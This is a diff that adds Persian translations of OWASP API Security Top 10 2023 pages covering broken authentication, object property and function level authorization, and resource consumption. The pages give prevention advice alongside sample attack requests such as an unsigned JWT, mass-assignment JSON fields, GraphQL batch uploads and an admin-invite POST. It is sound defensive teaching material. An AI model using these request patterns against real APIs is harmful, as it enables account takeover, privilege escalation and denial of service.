آزمون‌هایی برای ارزیابی صحت عملکرد مکانیزم‌های مجوزدهی. + +## مراجع + +- [Authorization Cheat Sheet][1] +- [Authorization Testing Automation Cheat Sheet][2] + +### خارجی +- [CWE-285: Improper Authorization][3] +- [CWE-639: Authorization Bypass Through User-Controlled Key][4] + + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: ./0xa5-broken-function-level-authorization.md diff --git a/editions/2023/fa/0xa2-broken-authentication.md b/editions/2023/fa/0xa2-broken-authentication.md new file mode 100644 index 000000000..723f5b10b --- /dev/null +++ b/editions/2023/fa/0xa2-broken-authentication.md @@ -0,0 +1,85 @@ +# API2:2023 احرازهویت نادرست کاربر + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: متوسط | پیامد فنی: شدید / خاص کسب و کار | +|دسترسی همه به سیستم احراز هویت موجب می‌شود تا این مکانیزم هدفی آسان و در دسترس برای مهاجمین باشد. با اینکه برای بهره‌برداری از برخی از مشکلات احراز هویت ممکن است مهارت‌های فنی پیشرفته‌تری لازم باشد، ابزارهای بهره‌برداری مرتبط در دسترس هستند.|درک نادرست توسعه‌دهندگان نرم‌افزار و مهندسان امنیتی از مفاهیم مرتبط با احراز هویت و پیچیدگی پیاده‌سازی داخلی، منجر به اشتباهاتی در فهم چگونگی کارکرد و اهمیت مسائل احراز هویت می‌شود. این اشتباهات باعث می‌شود که مشکلات مرتبط با احراز هویت به طور گسترده‌تر و رایج‌تری در نرم‌افزارها و سیستم‌های مختلف پدیدار شود. روش‌ها و رویکردهایی برای شناسایی و تشخیص این نوع اشکالات در احراز هویت وجود دارد و تولید آنها نیز به طور کلی آسان است. به عبارت دیگر، می‌توان به راحتی ابزارها و روش‌هایی برای کشف و پیگیری مشکلات احراز هویت در نرم‌افزارها ایجاد کرد.|مهاجمین می‌توانند به حساب‌های کاربری سایر کاربران دسترسی یافته، اطلاعات شخصی آنها را خوانده و عملیات حساس (نظیر نقل و انتقالات مالی و ارسال پیام‌های شخصی) را از طرف آنها انجام دهد.| + +## آیا API از نظر احرازهویت نادرست کاربر آسیب‌پذیر است؟ + +نقاط، توابع و جریان‌های احرازهویت API دارایی‌هایی هستند که بایستی محافظت شوند. همچنین توابع «فراموشی گذرواژه یا بازیابی گذرواژه» نیز بایستی در زمره مکانیزم‌های احرازهویت در نظر گرفته شوند. +یک API از منظر احرازهویت نادرست کاربر، آسیب‌پذیر است اگر: +- اجازه حمله درج هویت را بدهد که در آن مهاجم از لیستی از نام‌های کاربری و گذرواژه‌های معتبر استفاده می‌نماید. +- بدون استفاده از مکانیزم‌های CAPTCHA یا قفل کردن حساب کاربری اجازه حمله Brute Force روی یک حساب کاربری را بدهد. +- اجازه استفاده از گذرواژه‌های ضعیف را بدهد. +- جزئیات و داده‌های حساس مرتبط با احرازهویت از قبیل توکن‌های اصالت سنجی و گذرواژه‌ها را از طریق URL ارسال نماید. +- اصالت توکن‌ها را به بوته آزمون نگذارد. +- توکن‌ JWT ضعیف یا بدون امضا (`{"alg":"none"}`) را بپذیرد یا تاریخ انقضای آنها را اعتبارسنجی ننماید. +- از گذرواژه‌های آشکار ، رمزگذاری نشده یا درهم سازی شده بصورت ضعیف استفاده نماید. +- از کلیدهای رمزگذاری ضعیف بهره ببرد. + +علاوه بر این، یک میکروسرویس آسیب‌پذیر است اگر: +- میکروسرویس‌های دیگر بدون احراز هویت به آن دسترسی پیدا کنند. +- از توکن‌های ضعیف یا قابل پیش‌بینی برای اعمال احراز هویت استفاده کند. + +## مثال‌هایی از سناریوهای حمله + +### سناریو #1 + +درج هویت (استفاده از لیستی از نام‌های کاربری یا گذرواژه‌های شناخته شده) حمله‌ای رایج است. اگر اپلیکیشن از مکانیزم‌های حفاظتی خودکار در مقابل تهدیداتی نظیر درج هویت بهره نبرده باشد، آنگاه اپلیکیشن می‌تواند بعنوان یک پیشگوی گذرواژه یا آزمونگر جهت بررسی صحت اطلاعات هویتی جهت عبور از مکانیزم احرازهویت بکار رود. + +برای انجام احراز هویت کاربر، مشتری باید یک درخواست API مشابه مورد زیر را با اطلاعات ورود کاربر، صادر کند: + +``` +POST /graphql +{ + "query":"mutation { + login (username:""password:"") { + token + } + }" +} +``` + +### سناریو #2 + +برای به‌روزرسانی آدرس ایمیل مرتبط با حساب کاربران، مشتریان باید یک درخواست API مانند درخواست زیر را ارسال کنند: + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +## چگونه از ‌آسیب‌پذیری احرازهویت نادرست کاربر پیشگیری کنیم؟ + +- حصول اطمینان از آنکه تمامی جریان‌های ممکن برای احراز هویت API (موبایل یا وب، سایر لینک‌هایی که از مکانیزم احرازهویت با یک کلیک و غیره) شناسایی شده است. در این زمینه می‌توانید با توسعه دهندگان و مهندسین مشورت کنید. +- مطالعه و فهم کامل مکانیزم‌های احرازهویت استفاده شده در اپلیکیشن؛ بایستی درنظر داشت که OAuth و کلیدهای API نمی‌توانند بعنوان مکانیزمی برای احرازهویت به شمار آیند. +- در مساله احرازهویت، تولید توکن و ذخیره‌سازی گذرواژه، نباید چرخ را از ابتدا اختراع کرد بلکه بایستی از استانداردها استفاده نمود. +- توابع بازیابی یا فراموشی گذرواژه بایستی از منظر محافظت در مقابل Brute Force، محدودسازی نرخ و قفل شدن حساب کاربری هم ارز با توابع و نقاط ورود در نظر گرفته شود. +- برای عملیات‌ حساس (مانند تغییر آدرس ایمیل مالک حساب/شماره تلفن مربوط به احراز هویت دو عاملی)، نیاز به احراز هویت مجدد می‌باشد. +- از راهنمای احرازهویت [OWASP][1] استفاده شود. +- بکارگیری احرازهویت چندعاملی ، در هر جا که امکان داشت. +- برای کاهش حملات درج هویت، Dictionary و Brute force، مکانیزم‌های ضد حمله Brute force را پیاده‌سازی کنید. این مکانیزم‌ها باید سخت‌گیرانه‌تر از مکانیزم‌های معمول محدودیت نرخ در APIها باشند. +- برای جلوگیری از حملات brute force بر روی کاربران خاص، مکانیزم‌های [قفل کردن حساب کاربری][2] و استفاده از CAPTCHA و برای افزایش امنیت، روش‌های شناسایی رمزهای عبور ضعیف نیز باید پیاده‌سازی شوند. +- کلید‌های API نباید برای احراز هویت کاربران استفاده شوند و تنها می‌بایست برای احراز هویت [مشتریان API][3] مورد استفاده قرار گیرند. + +## مراجع + +- [OWASP Key Management Cheat Sheet][1] +- [OWASP Authentication Cheatsheet][4] +- [Credential Stuffing][5] + +### خارجی + +- [CWE-204: Observable Response Discrepancy][6] +- [CWE-307: Improper Restriction of Excessive Authentication Attempts][7] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html diff --git a/editions/2023/fa/0xa3-broken-object-property-level-authorization.md b/editions/2023/fa/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..fdd3bb7df --- /dev/null +++ b/editions/2023/fa/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,110 @@ +# API3:2023 نقض مجوزدهی در سطح ویژگی‌های شیء + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: آسان | پیامد فنی: متوسط / خاص کسب و کار | +| APIها معمولاً اطلاعات تمام ویژگی‌های شیء درخواستی را به کاربر ارائه می‌دهند. این ویژگی در APIهای REST بسیار رایج است. در مقابل، در پروتکل‌های دیگر مانند GraphQL، شما می‌توانید درخواست‌های دقیق‌تری برای بازگشت ویژگی‌های خاص از یک شیء ارسال کنید. درنتیجه کنترل دقیق‌تری بر روی داده‌های دریافتی خواهید داشت. آگاهی از اینکه کدام ویژگی شیء، اضافی است دشوار است؛ زیرا ویژگی‌های اضافی ممکن است بسته به شرایط، تغییر کنند، اما ابزارهای خودکاری نیز وجود دارند که به تشخیص و مدیریت این ویژگی‌ها کمک می‌کنند. | بررسی پاسخ‌های API، روشی برای شناسایی اطلاعات حساس می‌باشد که از طریق این شناسایی می‌توان ویژگی‌های اضافی و پنهان را کشف کرد. از تکنیک‌هایی مانند فازینگ برای شناسایی ویژگی‌های اضافی استفاده می‌شود. اگر می‌خواهید بفهمید که آیا این ویژگی‌ها قابل تغییر هستند یا نه، باید درخواست‌های API خاصی را ارسال کرده و پس از تجزیه و تحلیل پاسخ‌های دریافتی درباره حساسیت اطلاعات موجود در آن، تصمیم بگیرید. در صورتی که ویژگی مورد نظر در پاسخ API نباشد، ممکن است نیاز به تحلیل اثرات جانبی داشته باشید تا بتوانید ویژگی مورد نظر را شناسایی و کنترل کنید.| دسترسی غیرمجاز به ویژگی‌های حساس یا خصوصی شیء، ممکن است منجر به افشا، از دست دادن یا خرابی داده شود. در شرایط خاص، دسترسی غیرمجاز به ویژگی‌های شیء می‌تواند به ارتقاء سطح دسترسی یا تصاحب جزئی/کامل حساب کاربری منجر شود.| + +## آیا API از نظر نقض مجوزدهی در سطح ویژگی‌های شیء ‌آسیب‌پذیر است؟ + +هنگامی که از طریق یک endpoint به یک کاربر اجازه دسترسی به یک شیء می‌دهید، دقت کنید که کاربر تنها به ویژگی‌های مجاز دسترسی داشته باشد. +endpoint آسیب‌پذیر است اگر: + +1. ویژگی‌های حساس یک شیء را به کاربر غیرمجاز، افشا ‌کند (این مورد قبلاً با نام "افشای مفرط داده" نامگذاری شده بود). +2. به کاربر اجازه ‌دهد که مقدار یک ویژگی حساس شیء را که کاربر نباید به آن دسترسی داشته باشد، تغییر داده، اضافه یا حذف کند (این مورد قبلاً با نام "تخصیص جمعی" نامگذاری شده بود). + +### مثال‌هایی از سناریوهای حمله + +### سناریو #1 + +یک برنامه دوستیابی به کاربر این امکان را می‌دهد که رفتار نامناسب دیگر کاربران را گزارش کند. در این فرآیند، کاربر روی دکمه "گزارش" کلیک کرده و API زیر را فراخوانی می‌کند: + +``` +POST /graphql +{ + "operationName":"reportUser" + "variables":{ + "userId": 313 + "reason":["offensive behavior"] + } + "query":"mutation reportUser($userId: ID! $reason: String!) { + reportUser(userId: $userId reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +### سناریو #2 + +یک پلتفرم اجاره اقامتگاه آنلاین را در نظر بگیرید که در آن به کاربران میزبان اجازه می‌دهد که آپارتمان خود را به کاربران مهمان اجاره دهند. میزبان می‌بایست پیش از اقدام به پرداخت مهمان، درخواست رزرو وی را تأیید کند. +` +``` +{ + "approved": true + "comment": "Check-in is after 3pm" +} +``` + +میزبان می‌تواند درخواست معتبر را تکرار کرده و پیام‌های مخرب زیر را اضافه کند: +` +``` +{ + "approved": true + "comment": "Check-in is after 3pm" + "total_stay_price": "$1000000" +} +``` + +### سناریو #3 + +یک شبکه اجتماعی که برای نمایش ویدیوهای کوتاه ساخته شده است، اقدام به اعمال فیلترینگ محتوا و سانسور محتوای کاربران می‌نماید. حتی اگر ویدیوی آپلود شده مسدود شود، کاربر می‌تواند توضیحات ویدیو را با استفاده از درخواست API زیر تغییر دهد: + +``` +PUT /api/video/update_video + +{ + "description": "a funny video about cats" +} +``` + +یک کاربر ناراضی می‌تواند درخواست معتبر را تکرار کرده و پیام‌های مخرب زیر را به درخواست اضافه کند: + +``` +{ + "description": "a funny video about cats" + "blocked": false +} +``` + +## چگونه از ‌آسیب‌پذیری نقض مجوزدهی در سطح ویژگی‌های شیء پیشگیری کنیم؟ + +- هنگام ارائه یک شیء از طریق endpoint، همیشه اطمینان حاصل کنید که کاربر از قبل به ویژگی‌های ارائه شده، دسترسی داشته باشد. +- اجتناب از استفاده از متدهای عمومی `to_json` و `to_string` و در عوض شناسایی کردن تک تک ویژگی‌ها و مشخصه‌هایی که برای پاسخ ضروری هستند. +- در صورت امکان، از توابعی که به طور خودکار ورودی کاربر را به متغیرهای کد، اشیاء داخلی یا ویژگی‌های شیء متصل می‌کنند ("تخصیص جمعی") استفاده نکنید. +- کاربر تنها بتواند ویژگی‌های مشخص و مجاز شیء را بروزرسانی کند. +- بکارگیری یک مکانیزم اعتبارسنجی الگومحور برای بررسی اعتبار پاسخ‌ها بعنوان یک لایه امنیتی دیگر و همچنین تعریف و اعمال این مکانیزم بر روی داده بازگردانده شده تمامی APIها از جمله خطاها. +- بر اساس نیازهای متد درخواستی، ساختارهای داده بازگردانده شده را در حداقل مقدار ممکن نگه دارید. + +## مراجع + +- [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019][1] +- [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019][2] +- [Mass Assignment Cheat Sheet][3] + +### خارجی + +- [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies][4] +- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][5] + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2023/fa/0xa4-unrestricted-resource-consumption.md b/editions/2023/fa/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..1040fc312 --- /dev/null +++ b/editions/2023/fa/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,115 @@ +# API4:2023 استفاده نامحدود از منابع + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: متوسط | میزان شیوع: گسترده/ قابلیت تشخیص: آسان | پیامد فنی: شدید / خاص کسب و کار | +|بهره برداری از این آسیب‌پذیری نیاز به ارسال درخواست‌های ساده‌ای به سوی API دارد. کافی است تعدادی درخواست هم‌زمان از یک ماشین و یا با استفاده از منابع رایانش ابری به سوی API ارسال گردد تا بتوان از این آسیب‌پذیری بهره برد. اکثر ابزارهای خودکاری که موجود هستند، به منظور ایجاد حمله DoS از طریق بارگذاری حجم زیادی از ترافیک طراحی شده‌اند که این کار می‌تواند به سرویس‌دهی APIها آسیب رسانده و سرعت آن‌ها را کاهش دهد.|یافتن APIهایی که محدودسازی نرخ ارسال را بکار نگرفته یا محدودیت‌های اعمال شده آنها ناکافی است، کار دشواری نیست. برای شناسایی این مشکل، مهاجمان می‌توانند درخواست‌های API را با پارامترهای خاصی طراحی کنند که تعداد منابعی را که API باز می‌گرداند، تغییر دهند. سپس با تجزیه و تحلیل وضعیت، زمان، و طول پاسخ‌های دریافتی، مشکل را شناسایی کنند. این موضوع برای عملیات‌های دسته‌ای هم صدق می‌کند. مهاجمان می‌توانند درخواست‌های دسته‌ای را با تغییر تعداد منابعی که در هر درخواست بازگشت داده می‌شوند، ارسال کرده و با ایجاد بارگذاری نامتعادل، اثرات منفی بر روی سرویس API ایجاد کنند. ممکن است مهاجمان اطلاعی از هزینه‌های اقتصادی حملات خود برای ارائه‌دهندگان خدمات نداشته باشند، اما می‌توانند با تحلیل مدل تجاری و قیمت‌گذاری خدمات، اثرات مالی این حملات را تخمین بزنند. |بهره برداری از این آسیب‌پذیری می‌تواند منجر به بروز DoS شده، در نتیجه API را از پاسخ به درخواست‌ها باز دارد و یا حتی آن را از دسترس خارج نماید. استفاده از این آسیب‌پذیری می‌تواند به دو شکل تأثیر منفی داشته باشد. اولاً، می‌تواند منجر به حمله DoS شده و منابع سیستم را اشغال کند. دوماً، به دلیل افزایش تقاضا بر روی واحدهای پردازشی، افزایش نیاز به فضای ذخیره‌سازی ابری و موارد مشابه می‌تواند منجر به افزایش هزینه‌های عملیاتی مرتبط با زیرساخت شود.| + +### آیا API از نظر مصرف بدون محدودیت منابع ‌‌آسیب‌پذیر است؟ + +درخواست‌‌های ارسال شده به سوی API منابعی از قبیل پهنای باند شبکه، پردازنده، حافظه و فضای ذخیره‌سازی را مصرف می‌کنند. برخی از منابع مورد نیاز برای اجرای درخواست‌های API از طریق دیگر ارائه‌دهندگان خدمات API فراهم می‌شوند. این منابع ممکن است شامل ارسال ایمیل، پیام متنی، تماس تلفنی یا اعتبارسنجی بیومتریک و موارد مشابه باشند. +اگر دست‌کم یکی از محدودیت‌‌های زیر در سمت API به کلی اعمال نشده یا بطور نادرست (مثلا بیش از حد زیاد یا بیش از حد کم) ‌‌‌‌پیاده‌سازی شده باشد آنگاه API از منظر محدودیت یا کمبود نرخ ارسال، ‌‌آسیب‌پذیر خواهد بود: +- Time Out اجرا +- حداکثر میزان حافظه قابل تخصیص +- حداکثر تعداد توصیف‌گر فایل‌‌ها +- حداکثر تعداد پردازه‌‌ها +- حداکثر سایز بارگزاری فایل +- تعداد فراخوانی‌هایی که یک کلاینت می‌تواند در یک درخواست واحد انجام دهد (مانند GraphQL batching) +- تعداد رکوردهای بازگردانده شده در هر صفحه +- حداکثر هزینه‌ای که ارائه‌دهندگان خدمات شخص ثالث می‌توانند از مشتریان دریافت کنند + +## مثال‌‌هایی از سناریوهای حمله + +### سناریو #1 + +یک شبکه اجتماعی بخش "فراموشی رمز عبور" را با استفاده از روش تأییدیه پیامکی پیاده‌سازی کرده است. کاربر پس از دریافت یک توکن یک‌بار مصرف از طریق پیامک، می‌تواند رمز عبور خود را بازنشانی کند. با کلیک بر روی گزینه "فراموشی رمز عبور"، API مرتبط از مرورگر کاربر به API Back-End ارسال می‌شود: + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +در پس‌زمینه، یک تماس API از سمت سرور به یک API از شخص ثالثی که وظیفه تحویل پیامک را دارد، ارسال می‌شود: + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` +سرویس دهنده طرف ثالث با نام willyo ، برای هر تماس از این نوع، مبلغ ۰.۰۵ دلار هزینه می‌کند. مهاجم اسکریپتی می‌نویسد که اولین تماس API را ده‌ها هزار بار ارسال می‌کند. سپس بخش پشتیبانی از طریق درخواست از willyo می‌خواهد تا ده‌ها هزار پیام متنی ارسال کند که سبب می‌شود تا در عرض چند دقیقه هزاران دلار را از دست بدهد. + +### سناریو #2 + +کاربر از طریق GraphQL API می‌تواند تصویر پروفایل خود را بارگذاری کند + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") { + url + } + }" +} +``` +بعد از اتمام عملیات بارگذاری تصویر توسط کاربر، API چندین تصویر کوچک با اندازه‌های مختلف از روی تصویر اصلی ایجاد می‌کند. این عملیات گرافیکی نیاز به حافظه زیادی از سرور دارد. API مذکور، از مکانیزم محدودیت نرخ سنتی استفاده می‌کند، به این معنا که یک کاربر نمی‌تواند در یک دوره زمانی کوتاه تعداد زیادی درخواست به تابع انتهایی GraphQL ارسال کند. همچنین، قبل از ایجاد تصاویر کوچک از تصویر بارگذاری شده، اندازه تصویر بارگذاری شده را بررسی می‌کند تا از پردازش تصاویری که بسیار بزرگ هستند جلوگیری کند. مهاجم می‌تواند با ارسال درخواست‌های مختلف و با حجم زیاد، از این مکانیزم‌ها عبور کرده و به تابع انتهایی GraphQL دسترسی پیدا کند: + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + ... + {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, +} +``` +به علت عدم محدودیت در تعداد دفعات انجام عملیات uploadPic، این تماس منجر به اشغال حافظه سرور و وقوع DoD خواهد شد. + +### سناریو #3 + +یک سرویس دهنده، به مشتریان اجازه می‌دهد که با استفاده از API آنها، فایل‌هایی با حجم دلخواه دانلود کنند. این فایل‌ها در فضای ابری ذخیره شده و اغلب تغییری نمی‌کنند. این سرویس دهنده برای بهبود نرخ ارائه خدمات و کاهش مصرف پهنای باند به یک سرویس حافظه‌پنهان مورد اعتماد نیاز دارد. این سرویس فقط فایل‌هایی را ذخیره می‌کند که حداکثر ۱۵ گیگابایت حجم دارند. اگر یکی از فایل‌ها بروزرسانی شده و اندازه آن به ۱۸ گیگابایت افزایش ‌یابد، همه مشتریان سرویس فورا نسخه جدید را دریافت می‌کنند. از آنجا که هیچ هشداری در مورد هزینه مصرفی وجود نداشته و مقدار حداکثری برای هزینه سرویس ابری تعیین نشده بود، صورت‌حساب ماهیانه بعدی از ۱۳ دلار به طور میانگین به ۸ هزار دلار افزایش می‌یابد. + +## چگونه از ‌‌آسیب‌پذیری مصرف بدون محدودیت منابع پیشگیری کنیم؟ + +- محدودسازی [حافظه][1]، [پردازنده][2]، [تعداد دفعات راه اندازی مجدد][3]، [توصیف‌گرهای فایل][4] و پردازه‌‌ها با استفاده از کانتینرها یا کد بدون سرور (مانند Lambdas). +- تعریف و اِعمال بیشینه اندازه داده (نظیر بیشینه طول برای رشته‌‌ها یا بیشینه تعداد عناصر در آرایه‌‌ها) در درخواست‌‌ها و محموله‌‌های ورودی. +- اعمال محدودیت بر تعداد دفعات تعامل با API در یک دوره زمانی مشخص (محدودیت نرخ). +- محدودیت نرخ باید بر اساس نیازهای کسب و کار بهبود یابد. +- محدود کردن تعداد دفعات اجرای عملیات مربوط به یک API توسط یک مشتری/کاربر در زمان مشخص. +- اجرای یک فرآیند اعتبارسنجی دقیق در طرف سرور برای پارامترهایی که به صورت متغیر در رشته‌های پرس‌وجو وجود دارند. +- پیکربندی محدودیت‌ مقدار مصرف برای تمام سرویس دهندگان API. اگر تنظیم محدودیت‌ مقدار مصرف امکان‌پذیر نیست، به جای آن باید هشدارهای مالی پیکربندی شوند. + +## مراجع + +- [Web Service Security Cheat Sheet - OWASP][5] +- [DoS Prevention - GraphQL Cheat Sheet][6] +- [Mitigating Batching Attacks - GraphQL Cheat Sheet][7] + +### خارجی + +- [CWE-770: Allocation of Resources Without Limits or Throttling][8] +- [CWE-400: Uncontrolled Resource Consumption][9] +- [CWE-799: Improper Control of Interaction Frequency][10] +- “Rate Limiting (Throttling)” - [Security Strategies for Microservices-based Application Systems][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf diff --git a/editions/2023/fa/0xa5-broken-function-level-authorization.md b/editions/2023/fa/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..45a951542 --- /dev/null +++ b/editions/2023/fa/0xa5-broken-function-level-authorization.md @@ -0,0 +1,61 @@ +# API5:2023 نقض مجوزدهی در سطح توابع + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: آسان | پیامد فنی: شدید / خاص کسب و کار | +| بهره برداری از این ‌‌آسیب‌پذیری یعنی ارسال فراخوانی‌های API درست[^1] توسط مهاجم به سوی تابع انتهاییAPI در ارتباط با فراخوانی‌هایی که مهاجم مجوز آنها را ندارد. این Endpointها ممکن است در معرض دید کاربران ناشناس، بدون مجوز یا با مجوز عادی قرار داشته باشند. برای مهاجم تشخیص وجود چنین نواقصی در API آسان تر است چرا که ساختارمندتر بوده و نحوه دسترسی آنها به توابع، قابل پیش بینی تر است (مثلا تغییر متد HTTP از GET به PUT یا تغییر رشته “users” در URL به “admins”). | کنترل‌های مجوزدهی برای توابع یا منابع غالبا در سطح پیکربندی یا کد مدیریت می شوند. بکارگیری کنترل‌های مناسب می‌تواند گیج کننده باشد چرا که اپلیکیشن‌های مدرن امروزی غالبا دارای انواع مختلفی از نقش‌ها و گروه‌ها و سلسله مراتب کاربری هستند (مثلا کاربران دارای بیش از یک نقش). کشف نقائص در API ها به علت ساختار سازمان‌مندتر و همچنین پیش‌بینی‌پذیری بالاتر در دسترسی به توابع مختلف، نسبت به سایر بخش‌های نرم‌افزاری، ساده‌تر است. | چنین مشکلاتی منجر به دسترسی غیرمجاز مهاجم به توابع می‌شود. در این صورت توابع مدیریتی[^2] از جمله اهداف کلیدی مهاجم خواهند بود و ممکن است منجر به افشا، از دست رفتن یا خرابی داده شده و اختلال در خدمات را به دنبال داشته باشد. | + +## آیا API از نظر نقض مجوزدهی در سطح توابع ‌‌آسیب‌پذیر است؟ + +بهترین راه یافتن مشکلات مجوزدهی در سطح توابع، تحلیل عمیق مکانیزم مجوزدهی با لحاظ کردن سلسله مراتب کاربران، نقش‌‌‌ها و گروه‌‌‌های متفاوت موجود در اپلیکیشن و پرسیدن پرسش‌‌‌های زیر است: +- آیا کاربر عادی می‌تواند به توابع و نقاط مدیریتی در API دسترسی داشته باشد؟ +- آیا کاربری می‌تواند عمل حساسی که مجوز انجام آن را ندارد (نظیر ایجاد، تغییر یا حذف) را صرفا با تغییر متد HTTP (مثلا از GET به DELETE) انجام دهد؟ +- آیا کاربری از گروه X می‌تواند صرفا با حدس زدن URLهای توابع و پارامترهای آن به مسیری (نظیر /api/v1/users/export_all) که فقط باید برای کاربران گروه Y قابل مشاهده باشد دسترسی یابد؟ +بایستی در نظر داشت که عادی یا مدیریتی بودن یک تابع در API (همان API Endpoint) صرفا بر مبنای مسیر URL تعیین نمی‌شود. +در حالیکه توسعه دهندگان بیشتر تمایل دارند که توابع مدیریتی را ذیل یک مسیر نسبی معین مانند api/admin قرار دهند، اما بسیار دیده می شود که این توابع مدیریتی در کنار توابع عادی در مسیرهایی نظیر api/users قرار داده شده‌اند. + +## مثال‌‌‌هایی از سناریوهای حمله + +### سناریو #1 + +در خلال فرایند ثبت نام در یک اپلیکیشن که فقط به کاربران دعوت شده اجازه عضویت می‌دهد، اپلیکیشن موبایل، یک فراخوانی API به `GET /api/invites/{invite_guid}` می‌فرستد. پاسخ دریافتی فایل JSONی را دارا است که درون آن اطلاعات دعوتنامه‌‌‌ها شامل نقش کاربر و آدرس ایمیل وی دیده می‌شود. + +مهاجم درخواست مذبور را ضبط کرده و متد HTTP را به `POST /api/invites/new` تغییر می‌دهد. این تابع تنها بایستی از طریق کنسول مدیریت و برای ادمین‌‌‌ها قابل دسترسی باشد که بعلت عدم بکارگیری کنترل‌‌‌های صحیح مجوزدهی درسطح توابع اینگونه نیست. + +در گام بعد مهاجم از این مساله بهره برداری کرده و برای خود دعوتنامه‌ای جهت ساخت یک اکانت ادمین می‌فرستد: + +```http +POST /api/invites/new +{“email”:”hugo@malicious.com””role”:”admin”} +``` + +### سناریو #2 + +یک API دارای تابعی است که فقط ادمین‌‌‌ها بایستی آن را ببینند: +`GET /api/admin/v1/users/all` +این تابع در پاسخ جزئیات تمامی کاربران اپلیکیشن را برگردانده و کنترل‌‌‌های مجوزدهی در سطح توابع را نیز به درستی ‌‌‌‌پیاده‌سازی نکرده است. مهاجمی که با ساختار API آشنایی پیدا کرده، این مسیر را حدس زده و اطلاعات حساس تمامی کاربران اپلیکیشن را می‌رباید. + +## چگونه از ‌‌آسیب‌پذیری نقض مجوزدهی در سطح توابع پیشگیری کنیم؟ + +ماژول مجوزدهی اپلیکیشن بایستی بطور یکپارچه توسط تمامی توابع اپلیکیشن فراخوانی شده و تحلیل آن نیز آسان باشد. همچنین در بیشتر مواقع، این روش حفاطتی توسط یک یا چند مولفه بیرونی و خارج از کد اصلی اپلیکیشن فراهم می‌شود. + +- مکانیزم (های) اعمال شده بایستی بطور پیشفرض کلیه دسترسی‌‌‌ها را Deny (رد) نموده و برای دسترسی به هر یک از توابع، مجوزخاص دسترسی نقش مربوطه را طلب نمایند. +- توابع API از منظر نواقص مجوزدهی در سطح تابع با درنظر گرفتن منطق اپلیکیشن و سلسله مراتب گروه‌‌‌های کاربری مورد بازبینی قرار گیرد. +- تمامی کنترلگرهای مدیریتی از یک کنترلگر مدیریتی انتزاعی که مجوزها را بر حسب نقش کاربر یا گروه پیاده‌سازی نموده، ارث بری داشته باشند. +- تمامی توابع مدیریتی درون یک کنترلگر عادی (غیرمدیریتی)، کنترل‌‌‌های مجوز مبتنی بر نقش کاربر یا گروه را بکارگیرند. +- حصول اطمینان از این که تمام کنترل‌گرهای مدیریتی از یک کنترل‌گر انتزاعی مدیریتی به ارث برده‌ شدند که بر اساس گروه/نقش کاربری عملیات احراز هویت را انجام می‌دهد. +- حصول اطمینان از 